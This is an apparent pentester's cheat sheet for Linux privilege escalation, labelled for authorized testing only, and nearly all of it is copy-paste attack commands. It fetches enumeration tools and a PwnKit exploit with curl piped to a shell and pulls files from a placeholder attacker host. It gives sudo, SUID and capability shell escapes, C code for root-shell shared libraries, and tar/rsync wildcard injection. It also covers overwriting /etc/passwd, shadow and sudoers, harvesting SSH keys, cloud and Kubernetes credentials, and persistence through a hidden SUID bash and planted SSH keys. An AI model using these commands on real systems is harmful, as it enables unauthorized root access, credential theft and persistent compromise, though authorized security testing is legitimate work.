Linux Privilege Escalation
Linux Privilege Escalation
For authorized testing only. Every block is copy-paste ready — replace
<PLACEHOLDERS>.
1. Triage in 60 seconds
id; hostname; uname -a; cat /etc/os-release | head -3
sudo -n -l 2>/dev/null # passwordless sudo?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
getcap -r / 2>/dev/null # file capabilities
cat /etc/crontab; ls -la /etc/cron.* 2>/dev/null
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null # writable?
id | grep -E 'docker|lxd|lxc|disk|adm|sudo|wheel|shadow|video'
ps aux | grep -E '^root' | grep -vE '\[|sshd|systemd|cron' | head -30
If any of these returns something interesting, jump to that section. Otherwise run the automated tools.
2. Automated enumeration
# linPEAS (best first pass)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/l.sh && sh /tmp/l.sh -a 2>/dev/null | tee /tmp/linpeas.txt
# Without touching disk
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash -s -- -t
# linux-exploit-suggester (kernel + userland CVEs)
curl -L https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
# pspy — watch processes/cron without root (gold for cron/timer jobs)
curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy -pf -i 1000
# Serve from attacker box if no internet on target
python3 -m http.server 80 # attacker
wget http://<ATTACKER>/linpeas.sh -O /tmp/l.sh # target
3. Manual enumeration (what the tools look for)
# --- System ---
cat /proc/version; cat /etc/issue; arch
dpkg -l 2>/dev/null | head; rpm -qa 2>/dev/null | head
env; echo $PATH
cat /etc/hosts; cat /etc/resolv.conf
ip a; ss -tulpn; netstat -tulpn 2>/dev/null # internal-only services = pivot targets
mount; cat /etc/fstab; df -h
# --- Users ---
cat /etc/passwd | grep -vE 'nologin|false'
cat /etc/group; getent group sudo wheel docker lxd adm
last -a | head; w; who
ls -la /home/*; ls -la /root 2>/dev/null
# --- Files worth reading ---
find / -name "*.conf" -o -name "*.config" -o -name "*.cnf" -o -name "*.ini" 2>/dev/null | grep -vE 'proc|sys|usr/share' | head -50
find / -name "*.bak" -o -name "*.old" -o -name "*.orig" -o -name "*.swp" 2>/dev/null | grep -v proc
find / -name "id_rsa*" -o -name "id_ed25519*" -o -name "*.pem" -o -name "*.key" 2>/dev/null | grep -v proc
find / -name ".git" -type d 2>/dev/null; find / -name ".env" 2>/dev/null
cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.python_history 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE 'proc|sys|tmp|dev' | head
find / -writable -type f 2>/dev/null | grep -vE 'proc|sys|tmp|dev|cgroup' | head
# --- Credential grep ---
grep -rniE 'password|passwd|pwd|secret|token|api[_-]?key' /etc /opt /var/www /home 2>/dev/null | grep -vE 'Binary|\.md:|#' | head -40
grep -rE 'DB_PASS|DATABASE_URL|AWS_SECRET|PRIVATE_KEY' / --include=*.env --include=*.yml --include=*.yaml --include=*.json --include=*.php 2>/dev/null | head
# --- Running as root with writable config/binary? ---
ps -eo user,pid,cmd | grep '^root' | awk '{print $3}' | sort -u | while read b; do [ -w "$b" ] && echo "WRITABLE ROOT BINARY: $b"; done
4. sudo
sudo -l # always. Note (ALL) NOPASSWD, env_keep, !authenticate, setenv
sudo -V | head -1 # version → CVE check below
# --- GTFOBins: any allowed binary with shell escape ---
# https://gtfobins.github.io — search the binary, use the "Sudo" section
sudo vim -c ':!/bin/sh'
sudo less /etc/profile # then !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo env /bin/sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo nmap --interactive # old nmap; or --script=<lua shell>
sudo git -p help config # then !sh
sudo apt-get changelog apt # then !sh
sudo systemctl status # pager → !sh
sudo journalctl # pager → !sh
sudo mount -o bind /bin/sh /bin/mount; sudo mount
# --- LD_PRELOAD / LD_LIBRARY_PATH preserved (env_keep) ---
cat > /tmp/pe.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <ANY_ALLOWED_BINARY>
# --- sudo allows a script you can edit, or a binary via relative/writable path ---
# (ALL) /opt/backup.sh → is /opt/backup.sh or any command inside it writable? does it call binaries without full path?
# (ALL) /usr/bin/python3 /opt/app/run.py → writable run.py or a hijackable import?
# --- sudo with wildcard ---
# (ALL) /bin/chown * /var/log/* → symlink attack: ln -s /etc/shadow /var/log/x; sudo chown $(id -u) /var/log/x
# --- sudoedit / setenv ---
# (ALL) sudoedit /etc/app.conf → CVE-2023-22809 (sudo 1.8.0–1.9.12p1):
EDITOR='vim -- /etc/sudoers' sudoedit /etc/app.conf
sudo CVEs (check version first)
| CVE | Versions | One-liner |
|---|---|---|
| CVE-2025-32463 (chroot) | 1.9.14 – 1.9.17 | sudo -R <dir> with crafted /etc/nsswitch.conf in chroot → root. PoC: github.com/pr0v3rbs/CVE-2025-32463_chwoot |
| CVE-2025-32462 (host) | 1.8.8 – 1.9.17 | sudo -h <other-host-in-sudoers> cmd runs rules meant for another host |
| CVE-2023-22809 (sudoedit) | 1.8.0 – 1.9.12p1 | EDITOR='vim -- /etc/sudoers' sudoedit <allowed-file> |
| CVE-2021-3156 (Baron Samedit) | < 1.9.5p2 | sudoedit -s '\' $(python3 -c 'print("A"*1000)') → segfault = vuln. PoC: github.com/blasty/CVE-2021-3156 |
| CVE-2019-14287 | < 1.8.28 | sudo -u#-1 /bin/bash when rule is (ALL, !root) |
| CVE-2019-18634 (pwfeedback) | < 1.8.31 | perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id |
5. SUID / SGID
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
find / -perm -2000 -type f -exec ls -la {} \; 2>/dev/null
# Compare against a stock list — unusual = look at it. Then GTFOBins "SUID" section:
./bash -p
./find . -exec /bin/sh -p \; -quit
./python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
./env /bin/sh -p
./vim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'
./cp /etc/passwd /tmp/p; # edit, then ./cp /tmp/p /etc/passwd
./nano /etc/sudoers # if nano is SUID
# Custom SUID binary — what does it call?
strings <bin> | grep -E '^[a-z]+$' | head # relative command names?
ltrace ./<bin> 2>&1 | head; strace -f ./<bin> 2>&1 | grep -E 'execve|open' | head
# PATH hijack of a relative call inside a SUID binary
echo '/bin/bash -p' > /tmp/<called_cmd>; chmod +x /tmp/<called_cmd>
PATH=/tmp:$PATH ./<bin>
# Shared library hijack — SUID binary loads a missing/writable .so
strace ./<bin> 2>&1 | grep -iE 'open.*\.so' | grep -E 'ENOENT'
ldd ./<bin>
# write the missing .so with a constructor:
cat > /tmp/x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void i(){ setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -shared -fPIC -o <missing_path>.so /tmp/x.c
6. Capabilities
getcap -r / 2>/dev/null
# cap_setuid → root shell
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_read_search / cap_dac_override → read/write any file
tar -cvf /tmp/s.tar /etc/shadow; tar -xvf /tmp/s.tar -C /tmp # with cap_dac_read_search on tar
# cap_sys_admin → mount / cgroup escape; cap_sys_ptrace → inject into root proc; cap_sys_module → load kernel module
# cap_chown → chown /etc/shadow; cap_fowner → chmod /etc/shadow
# node / php / ruby / gdb with cap_setuid:
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
7. Cron, timers, services
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
crontab -l; ls -la /var/spool/cron/crontabs/ 2>/dev/null
systemctl list-timers --all
# pspy shows the real thing: what root actually runs, with what PATH
/tmp/pspy -pf -i 500
# --- Writable script run by root cron ---
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/to/cron_script.sh # then /tmp/rb -p
echo 'chmod +s /bin/bash' >> /path/to/cron_script.sh
# --- Cron PATH hijack (crontab PATH has a writable dir before /usr/bin, job uses relative name) ---
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb && chmod +s /tmp/rb' > /home/<you>/<relative_cmd>; chmod +x /home/<you>/<relative_cmd>
# --- Wildcard injection (tar/rsync/chown/chmod run by root in a dir you can write) ---
cd /writable/dir
echo 'chmod +s /bin/bash' > sh.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh sh.sh' # tar *
touch -- '-e sh sh.sh' # rsync *
touch -- '--reference=/etc/shadow' # chown/chmod *
# --- Writable systemd unit or its ExecStart target ---
find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null
systemctl cat <svc> | grep -E 'Exec|User'; ls -la $(systemctl cat <svc> | grep ExecStart | awk '{print $1}' | cut -d= -f2)
# edit ExecStart → malicious; then systemctl daemon-reload; systemctl restart <svc> (needs sudo/polkit for restart — or wait for reboot)
8. Writable sensitive files
# /etc/passwd writable → add root user
openssl passwd -1 -salt x pw123 # → $1$x$...
echo 'r00t:$1$x$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd; su r00t
# or blank the root password field: sed -i 's/^root:x:/root::/' /etc/passwd; su
# /etc/shadow readable → crack
unshadow /etc/passwd /etc/shadow > /tmp/h; john /tmp/h --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1800 /tmp/h rockyou.txt # $6$ sha512crypt; -m 500 md5crypt; -m 3200 bcrypt; -m 7400 sha256crypt
# /etc/shadow writable → replace root hash
mkpasswd -m sha-512 pw123; sed -i "s|^root:[^:]*:|root:<hash>:|" /etc/shadow
# /etc/sudoers writable
echo '<you> ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# root's authorized_keys dir writable (or /root/.ssh missing + /root writable)
mkdir -p /root/.ssh; echo '<your_pubkey>' >> /root/.ssh/authorized_keys
# /etc/ld.so.preload writable → every new process loads your .so as root
echo /tmp/pe.so > /etc/ld.so.preload # pe.so from §4
9. Group-based escalation
# --- docker ---
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run -v /:/host --rm -it --privileged ubuntu bash # then chroot /host
# --- lxd / lxc ---
# build alpine image on attacker: git clone https://github.com/saghul/lxd-alpine-builder; ./build-alpine; scp alpine*.tar.gz target:/tmp
lxc image import /tmp/alpine*.tar.gz --alias a
lxc init a c -c security.privileged=true
lxc config device add c h disk source=/ path=/mnt/root recursive=true
lxc start c; lxc exec c /bin/sh # then chroot /mnt/root
# lxd init first if no storage pool: lxd init --auto
# --- disk ---
debugfs /dev/sda1 # then: cat /etc/shadow / or dump /root/.ssh/id_rsa /tmp/k
df -h | head; lsblk
# --- adm --- read logs → creds, tokens
grep -riE 'pass|token' /var/log 2>/dev/null | head
# --- shadow --- cat /etc/shadow → crack (§8)
# --- video --- cat /dev/fb0 > /tmp/fb.raw (screen capture) ; cat /sys/class/graphics/fb0/virtual_size
# --- staff --- write to /usr/local/bin (in root's PATH)
10. NFS / network shares
cat /etc/exports # on target: no_root_squash ?
showmount -e <TARGET> # from attacker
mkdir /tmp/nfs; mount -t nfs <TARGET>:/<share> /tmp/nfs -o nolock
# as root on attacker:
cp /bin/bash /tmp/nfs/rb; chmod +s /tmp/nfs/rb # or compile setuid(0) C
# on target: /<share>/rb -p
# NFSv4 + no_root_squash still works; squash_root → try nfs-ls / id spoofing with uid of file owner
11. Credentials & tokens lying around
# SSH keys / agents
ls -la ~/.ssh /home/*/.ssh /root/.ssh 2>/dev/null; cat ~/.ssh/config
ls /tmp/ssh-*/agent.* 2>/dev/null; SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.NNN ssh-add -l # hijack agent socket (needs same uid or root)
# screen / tmux sockets owned by root with lax perms
ls -la /tmp/tmux-* /var/run/screen/S-* 2>/dev/null; tmux -S /tmp/tmux-0/default attach
# process env / memory
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|token|key' | sort -u
# MySQL running as root with known creds → UDF or FILE priv
mysql -u root -e 'select load_file("/etc/shadow")'
mysql -u root -e "select sys_exec('chmod +s /bin/bash')" # if lib_mysqludf_sys loaded
# kubernetes / cloud creds on the box
cat ~/.kube/config /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat ~/.aws/credentials ~/.config/gcloud/credentials.db ~/.azure/accessTokens.json 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# Password reuse: try found creds against root / other users
su root; su <user>
12. Kernel & userland CVEs that still work
Check version, then only run what matches — kernel exploits can crash the box.
uname -r; cat /etc/os-release; glibc: ldd --version | head -1; pkexec --version; sudo -V | head -1
| CVE | Affects | PoC / check |
|---|---|---|
| CVE-2021-4034 PwnKit | polkit pkexec < 0.120 (nearly every distro pre-Jan 2022) | github.com/ly4k/PwnKit → sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)" |
| CVE-2022-0847 DirtyPipe | kernel 5.8 – 5.16.11 / 5.15.25 / 5.10.102 | github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits (overwrite /etc/passwd or SUID bin) |
| CVE-2023-4911 Looney Tunables | glibc 2.34 – 2.38 (Ubuntu 22.04/23.04, Fedora 37/38, Debian 12) | github.com/leesh3288/CVE-2023-4911; check: env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help → segfault = vuln |
| CVE-2023-0386 OverlayFS | kernel 5.11 – 6.2 (Ubuntu 20.04/22.04 before Mar 2023) | github.com/xkaneiki/CVE-2023-0386 |
| CVE-2023-2640 / CVE-2023-32629 GameOver(lay) | Ubuntu kernels (22.04 6.2, 20.04 5.4) before Jul 2023 | unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")' |
| CVE-2022-2588 / CVE-2022-32250 (nf_tables) | kernel ≤ 5.18 | github.com/Markakd/CVE-2022-2588, github.com/theori-io/CVE-2022-32250-exploit |
| CVE-2024-1086 nf_tables UAF | kernel 5.14 – 6.6.14 (many distros, Jan 2024) | github.com/Notselwyn/CVE-2024-1086 — very reliable |
| CVE-2021-3493 OverlayFS | Ubuntu kernels before Apr 2021 | github.com/briskets/CVE-2021-3493 |
| CVE-2021-22555 netfilter | kernel 2.6.19 – 5.12 | github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555 |
| CVE-2016-5195 DirtyCOW | kernel < 4.8.3 (ancient boxes) | github.com/firefart/dirtycow |
| CVE-2025-32463 sudo chroot | sudo 1.9.14 – 1.9.17 | see §4 |
# Build on target or static-build on attacker with matching glibc; copy via scp/wget
gcc exploit.c -o /tmp/x -static && /tmp/x
13. Misc one-offs worth checking
# Python module hijack (script run by root imports from a writable path or cwd)
python3 -c 'import sys; print(sys.path)'; ls -la /usr/lib/python3*/ | grep -E '^d.*w'
# /usr/lib/python3/dist-packages writable? drop os.py or the imported module name
# Writable /etc/profile.d, /etc/bash.bashrc, /etc/environment → root sources on login
# Writable /etc/update-motd.d/* → root runs on SSH login (Ubuntu)
# Writable /etc/apt/apt.conf.d/ → APT::Update::Pre-Invoke {"chmod +s /bin/bash"}; (runs at next apt update)
# Writable /etc/logrotate.d + logrotate < 3.18 → logrotten (CVE-2016-1247 style)
# polkit / dbus (Ubuntu 20.04: CVE-2021-3560)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn" int32:1 & sleep 0.008s; kill $!
# → race creates admin user; then set password via SetPassword with same race
# Snap (dirty_sock, snapd < 2.37)
# Screen 4.5.0 SUID (CVE-2017-5618): ld.so.preload write
# Exim, Nagios, Redis-as-root (write authorized_keys via CONFIG SET dir), ...
# Container / cloud box? → see Kubernetes Pentesting and Docker notes
cat /proc/1/cgroup | grep -qE 'docker|kubepods|lxc' && echo "IN CONTAINER"
14. Post-root
# Persistent root shell
cp /bin/bash /var/tmp/.x; chmod 4755 /var/tmp/.x # /var/tmp/.x -p
echo '<your_pubkey>' >> /root/.ssh/authorized_keys
# Grab everything
cat /etc/shadow; cat /root/.bash_history; ls -la /root/.ssh
# Pivot: internal listeners, other hosts, cloud metadata
ss -tulpn; arp -a; cat /etc/hosts; curl -s http://169.254.169.254/ -m 2
References
- GTFOBins — the sudo/SUID/capabilities bible
- HackTricks — Linux Privilege Escalation
- PEASS-ng (linPEAS)
- linux-exploit-suggester
- pspy
- PayloadsAllTheThings — Linux Privesc